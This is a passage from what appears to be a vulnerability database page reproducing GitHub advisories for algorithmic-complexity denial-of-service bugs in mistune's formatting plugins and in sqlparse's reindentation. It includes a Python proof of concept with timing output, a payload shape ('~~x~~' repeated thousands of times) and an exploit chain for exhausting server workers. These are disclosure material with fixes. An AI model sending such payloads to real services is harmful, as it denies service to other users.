"url": "https://github.com/github/cmark-gfm/security/advisories/GHSA-r8vr-c48j-fcc5"
},
{
"type": "WEB",
"url": "https://github.com/github/cmark-gfm/security/advisories/GHSA-w4qg-3vf7-m9x5"
},
{
"type": "WEB",
"url": "https://github.com/thephpleague/commonmark/security/advisories/GHSA-c2pc-g5qf-rfrf"
},
{
"type": "WEB",
"url": "https://github.com/commonmark/commonmark.js/issues/129"
},
{
"type": "WEB",
"url": "https://github.com/commonmark/commonmark.js/issues/157"
},
{
"type": "WEB",
"url": "https://github.com/commonmark/commonmark.js/issues/172"
},
{
"type": "PACKAGE",
"url": "https://github.com/thephpleague/commonmark"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "league/commonmark\u0027s quadratic complexity bugs may lead to a denial of service"
}
GHSA-C8J7-8CV4-2XMQ
Vulnerability from github – Published: 2026-07-20 21:34 – Updated: 2026-07-20 21:34Summary
Type: Algorithmic-complexity denial of service. A run of N closed pairs ~~x~~~~x~~... (or the analogous ==x== for mark, ^^x^^ for insert) causes O(N²) work in the formatting parser. With the strikethrough, mark, or insert plugin enabled, an 8 KB input pegs the CPU for ~4 seconds; 16 KB → ~17 seconds.
File: src/mistune/plugins/formatting.py, lines 13-15 (the _STRIKE_END / _MARK_END / _INSERT_END patterns and their per-position scan).
Root cause: for each opening ~~/==/^^ the parser scans forward for the matching close pattern. The scan itself uses a bounded regex, but the parser tries the close-scan at every potential start position. For input shaped like ~~x~~ repeated N times, every ~~ is examined as a possible start, each scan covers up to the end of input. Total work is O(N²). Default config without these plugins handles the same input in linear time (4 ms for 4000 reps), confirming the cost is in the formatting plugin's per-marker scan, not in core parsing.
Affected Code
File: src/mistune/plugins/formatting.py, lines 12-16.
_STRIKE_END = re.compile(r"(?:" + PREVENT_BACKSLASH + r"\\~|[^\s~])~~(?!~)")
_MARK_END = re.compile(r"(?:" + PREVENT_BACKSLASH + r"\\=|[^\s=])==(?!=)")
_INSERT_END = re.compile(r"(?:" + PREVENT_BACKSLASH + r"\\\^|[^\s^])\^\^(?!\^)")
# Each pattern is scanned forward from every start position fired by the
# corresponding inline rule. The end-pattern itself is bounded; the cost
# comes from the surrounding parser invoking the scan at every '~~' / '==' / '^^'
# token in the input, giving N starts × O(N) per scan = O(N^2) total.
Why it's wrong: the same algorithmic-complexity flaw class as [ / [a parsing in core: a per-token retry loop without memoisation of failed positions. Each formatting marker is tried as both a potential start and as a continuation. A linear-pass delimiter-stack algorithm (matching how commonmark-py and markdown-it-py handle emphasis) would do this work in O(N) total. The bounded regex on each individual scan does not bound the parser-level repetition.
Exploit Chain
- Application uses mistune to render user-supplied markdown and has any of the formatting plugins enabled (
plugins=['strikethrough'],['mark'],['insert'], or any superset). These plugins are commonly enabled because GitHub-flavoured-Markdown compatibility requires~~strikethrough~~and many editors emit==highlighting==and^^underline^^shortcuts. - Attacker submits an 8 KB markdown payload of the form
~~x~~~~x~~~~x~~...(40 000 characters of~~x~~repeated 8000 times, or the analogous shape with==/^^). - Server calls
mistune.create_markdown(plugins=['strikethrough'])(payload). CPU pegs for ~4 seconds; 16 KB → ~17 seconds; 32 KB → ~70 seconds. Pure CPU cost, no significant memory growth. - Repeating the request floods the worker pool. On a single-thread WSGI handler this is one request per outage; on a thread pool, a small number of concurrent attackers exhausts capacity.
Security Impact
Severity: sec-high. Network-reachable, no authentication, predictable scaling, single-payload primitive. Only requires a user-supplied markdown sink and a formatting plugin enabled — both are common.
Attacker capability: small input → large CPU. Doubling input size quadruples CPU time. Sustained requests deny service to other users.
Preconditions: application uses mistune with any of strikethrough, mark, or insert plugins enabled. Default config does NOT enable these (so the attack only fires against the substantial deployed population that turns them on for GFM/markdown-extra compatibility).
Differential: PoC-verified against mistune@3.2.1:
import mistune, time
md = mistune.create_markdown(plugins=['strikethrough'])
for n in [500, 1000, 2000, 4000, 8000]:
s = '~~x~~' * n
t = time.time()
md(s)
print(f' ~~x~~ * {n} ({len(s)}b): {(time.time() - t) * 1000:.0f}ms')
# Output (Python 3.13, Linux, 2.5GHz CPU):
# ~~x~~ * 500 (2500b): 19ms
# ~~x~~ * 1000 (5000b): 71ms
# ~~x~~ * 2000 (10000b): 272ms
# ~~x~~ * 4000 (20000b): 1090ms
# ~~x~~ * 8000 (40000b): 4302ms
# Identical scaling for `==x==` (mark) and `^^x^^` (insert):
md = mistune.create_markdown(plugins=['mark'])
md('==x==' * 4000) # ~1100ms
md = mistune.create_markdown(plugins=['insert'])
md('^^x^^' * 4000) # ~1080ms
# Without the plugin, the same input parses in linear time:
md = mistune.create_markdown() # no plugins
md('~~x~~' * 4000) # 4ms (1000x faster)
The patched build (with the suggested fix below — either a delimiter-stack rewrite or a hard cap on the number of unmatched markers tracked) keeps the time linear in N.
Suggested Fix
The minimal fix is to cap the number of simultaneously-tracked unmatched markers, treating extras as literal text. The proper fix is a single-pass delimiter-stack algorithm matching the CommonMark reference implementation. Surgical patch:
--- a/src/mistune/plugins/formatting.py
+++ b/src/mistune/plugins/formatting.py
@@ ... in the parse_strikethrough / parse_mark / parse_insert functions
+ # Bound the number of open markers the parser will track concurrently.
+ # Inputs with more than this many open ~~ / == / ^^ in flight are
+ # almost certainly adversarial; CommonMark gives no semantics to
+ # deeply nested unmatched markers.
+ MAX_OPEN_MARKERS = 100
+ if open_marker_count > MAX_OPEN_MARKERS:
+ # treat remaining markers as literal text, do not invoke the
+ # forward-scan to find a close
+ ...
A regression test should assert that md('~~x~~' * 50_000) completes in under 1 second. The same fix shape applies to _MARK_END and _INSERT_END.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mistune"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59922"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T21:34:37Z",
"nvd_published_at": "2026-07-08T17:17:27Z",
"severity": "HIGH"
},
"details": "## Summary\n\n**Type:** Algorithmic-complexity denial of service. A run of N closed pairs `~~x~~~~x~~...` (or the analogous `==x==` for `mark`, `^^x^^` for `insert`) causes O(N\u00b2) work in the formatting parser. With the `strikethrough`, `mark`, or `insert` plugin enabled, an 8 KB input pegs the CPU for ~4 seconds; 16 KB \u2192 ~17 seconds. \n**File:** `src/mistune/plugins/formatting.py`, lines 13-15 (the `_STRIKE_END` / `_MARK_END` / `_INSERT_END` patterns and their per-position scan).\n**Root cause:** for each opening `~~`/`==`/`^^` the parser scans forward for the matching close pattern. The scan itself uses a bounded regex, but the parser tries the close-scan at every potential start position. For input shaped like `~~x~~` repeated N times, every `~~` is examined as a possible start, each scan covers up to the end of input. Total work is O(N\u00b2). Default config without these plugins handles the same input in linear time (4 ms for 4000 reps), confirming the cost is in the formatting plugin\u0027s per-marker scan, not in core parsing.\n\n## Affected Code\n\n**File:** `src/mistune/plugins/formatting.py`, lines 12-16.\n\n```python\n_STRIKE_END = re.compile(r\"(?:\" + PREVENT_BACKSLASH + r\"\\\\~|[^\\s~])~~(?!~)\")\n_MARK_END = re.compile(r\"(?:\" + PREVENT_BACKSLASH + r\"\\\\=|[^\\s=])==(?!=)\")\n_INSERT_END = re.compile(r\"(?:\" + PREVENT_BACKSLASH + r\"\\\\\\^|[^\\s^])\\^\\^(?!\\^)\")\n# Each pattern is scanned forward from every start position fired by the\n# corresponding inline rule. The end-pattern itself is bounded; the cost\n# comes from the surrounding parser invoking the scan at every \u0027~~\u0027 / \u0027==\u0027 / \u0027^^\u0027\n# token in the input, giving N starts \u00d7 O(N) per scan = O(N^2) total.\n```\n\n**Why it\u0027s wrong:** the same algorithmic-complexity flaw class as `[` / `[a` parsing in core: a per-token retry loop without memoisation of failed positions. Each formatting marker is tried as both a potential start and as a continuation. A linear-pass delimiter-stack algorithm (matching how `commonmark-py` and `markdown-it-py` handle emphasis) would do this work in O(N) total. The bounded regex on each individual scan does not bound the parser-level repetition.\n\n## Exploit Chain\n\n1. Application uses mistune to render user-supplied markdown and has any of the formatting plugins enabled (`plugins=[\u0027strikethrough\u0027]`, `[\u0027mark\u0027]`, `[\u0027insert\u0027]`, or any superset). These plugins are commonly enabled because GitHub-flavoured-Markdown compatibility requires `~~strikethrough~~` and many editors emit `==highlighting==` and `^^underline^^` shortcuts.\n2. Attacker submits an 8 KB markdown payload of the form `~~x~~~~x~~~~x~~...` (40 000 characters of `~~x~~` repeated 8000 times, or the analogous shape with `==` / `^^`).\n3. Server calls `mistune.create_markdown(plugins=[\u0027strikethrough\u0027])(payload)`. CPU pegs for ~4 seconds; 16 KB \u2192 ~17 seconds; 32 KB \u2192 ~70 seconds. Pure CPU cost, no significant memory growth.\n4. Repeating the request floods the worker pool. On a single-thread WSGI handler this is one request per outage; on a thread pool, a small number of concurrent attackers exhausts capacity.\n\n## Security Impact\n\n**Severity:** sec-high. Network-reachable, no authentication, predictable scaling, single-payload primitive. Only requires a user-supplied markdown sink and a formatting plugin enabled \u2014 both are common.\n**Attacker capability:** small input \u2192 large CPU. Doubling input size quadruples CPU time. Sustained requests deny service to other users.\n**Preconditions:** application uses mistune with any of `strikethrough`, `mark`, or `insert` plugins enabled. Default config does NOT enable these (so the attack only fires against the substantial deployed population that turns them on for GFM/markdown-extra compatibility).\n**Differential:** PoC-verified against mistune@3.2.1:\n\n```python\nimport mistune, time\nmd = mistune.create_markdown(plugins=[\u0027strikethrough\u0027])\nfor n in [500, 1000, 2000, 4000, 8000]:\n s = \u0027~~x~~\u0027 * n\n t = time.time()\n md(s)\n print(f\u0027 ~~x~~ * {n} ({len(s)}b): {(time.time() - t) * 1000:.0f}ms\u0027)\n\n# Output (Python 3.13, Linux, 2.5GHz CPU):\n# ~~x~~ * 500 (2500b): 19ms\n# ~~x~~ * 1000 (5000b): 71ms\n# ~~x~~ * 2000 (10000b): 272ms\n# ~~x~~ * 4000 (20000b): 1090ms\n# ~~x~~ * 8000 (40000b): 4302ms\n\n# Identical scaling for `==x==` (mark) and `^^x^^` (insert):\nmd = mistune.create_markdown(plugins=[\u0027mark\u0027])\nmd(\u0027==x==\u0027 * 4000) # ~1100ms\nmd = mistune.create_markdown(plugins=[\u0027insert\u0027])\nmd(\u0027^^x^^\u0027 * 4000) # ~1080ms\n\n# Without the plugin, the same input parses in linear time:\nmd = mistune.create_markdown() # no plugins\nmd(\u0027~~x~~\u0027 * 4000) # 4ms (1000x faster)\n```\n\nThe patched build (with the suggested fix below \u2014 either a delimiter-stack rewrite or a hard cap on the number of unmatched markers tracked) keeps the time linear in N.\n\n## Suggested Fix\n\nThe minimal fix is to cap the number of simultaneously-tracked unmatched markers, treating extras as literal text. The proper fix is a single-pass delimiter-stack algorithm matching the CommonMark reference implementation. Surgical patch:\n\n```diff\n--- a/src/mistune/plugins/formatting.py\n+++ b/src/mistune/plugins/formatting.py\n@@ ... in the parse_strikethrough / parse_mark / parse_insert functions\n+ # Bound the number of open markers the parser will track concurrently.\n+ # Inputs with more than this many open ~~ / == / ^^ in flight are\n+ # almost certainly adversarial; CommonMark gives no semantics to\n+ # deeply nested unmatched markers.\n+ MAX_OPEN_MARKERS = 100\n+ if open_marker_count \u003e MAX_OPEN_MARKERS:\n+ # treat remaining markers as literal text, do not invoke the\n+ # forward-scan to find a close\n+ ...\n```\n\nA regression test should assert that `md(\u0027~~x~~\u0027 * 50_000)` completes in under 1 second. The same fix shape applies to `_MARK_END` and `_INSERT_END`.",
"id": "GHSA-c8j7-8cv4-2xmq",
"modified": "2026-07-20T21:34:37Z",
"published": "2026-07-20T21:34:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lepture/mistune/security/advisories/GHSA-c8j7-8cv4-2xmq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59922"
},
{
"type": "WEB",
"url": "https://github.com/lepture/mistune/commit/96d0f57f8fe9eeb06bb4cff521962a27d7c402e7"
},
{
"type": "PACKAGE",
"url": "https://github.com/lepture/mistune"
},
{
"type": "WEB",
"url": "https://github.com/lepture/mistune/releases/tag/v3.3.0"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/mistune/PYSEC-2026-2210.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Mistune plugins/formatting: quadratic-time parsing on long runs of `~~x~~`, `==x==`, and `^^x^^` markers (strikethrough / mark / insert)"
}
GHSA-CFQR-CJX5-5JCM
Vulnerability from github – Published: 2026-09-01 21:20 – Updated: 2026-09-01 21:20Summary
When SQL is formatted with reindentation enabled, ReindentFilter repeatedly rebuilds prefixes of the current statement to calculate token offsets. An attacker who controls SQL sent to this opt-in formatting path can supply a parenthesized tuple list that remains just below the grouping-token cap. Thousands of offset calculations then traverse an expanding token tree, causing multi-second CPU consumption from an input of roughly 16 KB and degrading service availability.
Details
ReindentFilter._get_offset() joins the tokens returned by _flatten_up_to_token() to calculate the current output position. Each call begins by flattening the current statement from its start and walks until the target token. Tuple-list reindentation invokes this calculation repeatedly as it processes many parenthesized values, so later calls redo an increasingly large amount of prior work.
The vulnerable path is reached through sqlparse.format(sql, reindent=True) and sqlformat --reindent. A carefully sized tuple list completes grouping below the configured token cap and then enters the expensive reindentation path; a slightly larger input may instead be rejected quickly by the cap.
Relevant code locations:
sqlparse/formatter.py:170— enablingReindentFiltersqlparse/filters/reindent.py:30— repeated flattening from the statement startsqlparse/filters/reindent.py:44— prefix joining for offset calculationsqlparse/filters/reindent.py:216— tuple-list processing path
PoC
A complete validated reproduction is attached as reindent_tuple_list_cpu_dos-poc.zip. The archive contains reproduction/ at its root, uses Git and Docker, and compares two same-shape tuple-list inputs formatted with reindentation enabled.
Extract the archive beside this report, then run:
./reproduction/run.sh
Observed result:
The 600-tuple baseline completed in 0.649 seconds, while the below-cap 1,425-tuple input completed in 4.999 seconds. The run emitted EVOHUNT_REINDENT_DOS_VERIFIED and completed successfully.
Verification method:
The verification helper formats two same-shape tuple-list payloads with reindent=True and fails unless the larger payload completes successfully, takes at least 2.0 seconds, and takes at least 4x the baseline.
Limitations:
No reproduction blocker was recorded. Timing varies by host, and exploitation requires the reindentation option or corresponding CLI mode to be enabled.
Impact
This is a CPU resource-exhaustion vulnerability in workflows that reindent attacker-controlled SQL. A small crafted tuple-list input can occupy a worker for several seconds, enabling request delays, reduced throughput, or worker starvation when payloads are processed repeatedly or concurrently.
The affected reindentation behavior is opt-in, and sqlparse itself does not provide network exposure; reachability depends on the consuming application or CLI workflow. The demonstrated effect is CPU consumption in a single formatting call, not process termination, code execution, or confidentiality or integrity impact.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.5.5"
},
"package": {
"ecosystem": "PyPI",
"name": "sqlparse"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-84305"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-01T21:20:11Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nWhen SQL is formatted with reindentation enabled, `ReindentFilter` repeatedly rebuilds prefixes of the current statement to calculate token offsets. An attacker who controls SQL sent to this opt-in formatting path can supply a parenthesized tuple list that remains just below the grouping-token cap. Thousands of offset calculations then traverse an expanding token tree, causing multi-second CPU consumption from an input of roughly 16 KB and degrading service availability.\n\n### Details\n\n`ReindentFilter._get_offset()` joins the tokens returned by `_flatten_up_to_token()` to calculate the current output position. Each call begins by flattening the current statement from its start and walks until the target token. Tuple-list reindentation invokes this calculation repeatedly as it processes many parenthesized values, so later calls redo an increasingly large amount of prior work.\n\nThe vulnerable path is reached through `sqlparse.format(sql, reindent=True)` and `sqlformat --reindent`. A carefully sized tuple list completes grouping below the configured token cap and then enters the expensive reindentation path; a slightly larger input may instead be rejected quickly by the cap.\n\nRelevant code locations:\n\n- `sqlparse/formatter.py:170` \u2014 enabling `ReindentFilter`\n- `sqlparse/filters/reindent.py:30` \u2014 repeated flattening from the statement start\n- `sqlparse/filters/reindent.py:44` \u2014 prefix joining for offset calculation\n- `sqlparse/filters/reindent.py:216` \u2014 tuple-list processing path\n\n### PoC\n\nA complete validated reproduction is attached as [reindent_tuple_list_cpu_dos-poc.zip](https://github.com/user-attachments/files/29410152/reindent_tuple_list_cpu_dos-poc.zip). The archive contains `reproduction/` at its root, uses Git and Docker, and compares two same-shape tuple-list inputs formatted with reindentation enabled.\n\nExtract the archive beside this report, then run:\n\n```console\n./reproduction/run.sh\n```\n\nObserved result:\n\nThe 600-tuple baseline completed in 0.649 seconds, while the below-cap 1,425-tuple input completed in 4.999 seconds. The run emitted `EVOHUNT_REINDENT_DOS_VERIFIED` and completed successfully.\n\nVerification method:\n\nThe verification helper formats two same-shape tuple-list payloads with `reindent=True` and fails unless the larger payload completes successfully, takes at least 2.0 seconds, and takes at least 4x the baseline.\n\nLimitations:\n\nNo reproduction blocker was recorded. Timing varies by host, and exploitation requires the reindentation option or corresponding CLI mode to be enabled.\n\n### Impact\n\nThis is a CPU resource-exhaustion vulnerability in workflows that reindent attacker-controlled SQL. A small crafted tuple-list input can occupy a worker for several seconds, enabling request delays, reduced throughput, or worker starvation when payloads are processed repeatedly or concurrently.\n\nThe affected reindentation behavior is opt-in, and sqlparse itself does not provide network exposure; reachability depends on the consuming application or CLI workflow. The demonstrated effect is CPU consumption in a single formatting call, not process termination, code execution, or confidentiality or integrity impact.",
"id": "GHSA-cfqr-cjx5-5jcm",
"modified": "2026-09-01T21:20:11Z",
"published": "2026-09-01T21:20:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-cfqr-cjx5-5jcm"
},
{
"type": "WEB",
"url": "https://github.com/andialbrecht/sqlparse/commit/a51df6d9e2d31b44be9adb6bc8732517db6bf96b"
},
{
"type": "PACKAGE",
"url": "https://github.com/andialbrecht/sqlparse"
},
{
"type": "WEB",
"url": "https://github.com/andialbrecht/sqlparse/releases/tag/0.6.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "sqlparse: Reindentation of tuple lists causes near-cap quadratic CPU consumption"
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.